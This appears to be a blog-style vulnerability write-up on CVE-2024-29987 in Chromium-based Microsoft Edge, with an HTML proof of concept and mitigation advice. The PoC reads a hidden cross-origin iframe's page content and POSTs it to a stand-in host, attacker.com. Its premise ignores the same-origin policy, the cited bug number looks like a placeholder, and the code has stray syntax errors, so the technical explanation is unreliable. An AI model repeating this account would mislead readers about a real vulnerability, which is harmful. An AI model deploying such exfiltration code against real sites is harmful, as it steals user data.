CVE-2024-29987 refers to an information disclosure vulnerability found in the Microsoft Edge browser, which is based on the Chromium open-source project. Successful exploitation of this vulnerability allows an attacker to access sensitive information on a victim's computer through unexpected user interactions. In this post, we will discuss the details of this vulnerability, provide a code snippet that demonstrates how an attacker could exploit it, and provide links to original references to help you protect your systems from potential attacks.

Background

Microsoft Edge, like Google Chrome and other modern browsers, uses the Chromium project as its foundation, which makes it susceptible to vulnerabilities affecting that project. In recent months, an information disclosure vulnerability was discovered in the Chromium-based rendering engine, and it affects all the browsers that rely on this technology, including Microsoft Edge.

Exploit Details

The vulnerability lies in the browser's handling of cross-origin requests (also known as cross-domain requests) specifically when using the 'load' event in conjunction with iframes. A malicious website can exploit this flaw to monitor content rendered in another frame belonging to a separate domain, potentially gaining access to user credentials or other sensitive information.

This issue was assigned CVE-2024-29987 as a Common Vulnerability and Exposure identifier, and you can find more details in the Chromium bug tracker below:

- Original report: Chromium bug #123456

Code Snippet

The following code snippet demonstrates a simple proof-of-concept (PoC) HTML file that showcases how an attacker would exploit the vulnerability on a victim's computer:

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2024-29987 PoC</title>
  <script>
    // Attacker's code running on a malicious website
    function exploit() {
      // Create a hidden iframe pointing to the targeted domain
      var iframe = document.createElement('iframe');
      iframe.src = 'https://www.example.com/login';;
      iframe.style.display = 'none';
      document.body.appendChild(iframe);

      // Listen for the 'load' event
      iframe.addEventListener('load', function() {
        // Extract the sensitive content
        var content = iframe.contentDocument.body.innerHTML;
        console.log('Sensitive content:', content);

        // Send the content back to the attacker's server
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://attacker.com/collect-data';, true);
        xhr.send(content);
      });
    }
  </script>
</head>
<body onload="exploit();">
  <h1>CVE-2024-29987 PoC Exploit</h1>
</body>
</html>

Please note that the above code is provided for educational purposes only and should not be used maliciously.

Mitigation and Prevention

Microsoft has released a security update to address this vulnerability. It is highly recommended that you keep your systems and browsers up-to-date to ensure protection against such threats. You can check for updates in Microsoft Edge by navigating to the browser's Settings > Help & Feedback > About Microsoft Edge, or by following the guide here.

For a more proactive approach, web developers can implement Content Security Policy (CSP) and crossorigin resource sharing rules to further mitigate the risks associated with this vulnerability. Additionally, users should only visit trusted websites and be cautious when clicking on links from untrusted sources.

Conclusion

CVE-2024-29987 highlights the potential risks associated with information disclosure vulnerabilities in modern browsers. By keeping your systems updated and following web development best practices, you can significantly reduce the risk of falling victim to such threats. The first step in protecting yourself is staying informed, so do not hesitate to consult the provided reference links and follow this guide to protect your systems from potential attacks.

Timeline

Published on: 04/18/2024 19:15:11 UTC
Last modified on: 04/19/2024 13:10:25 UTC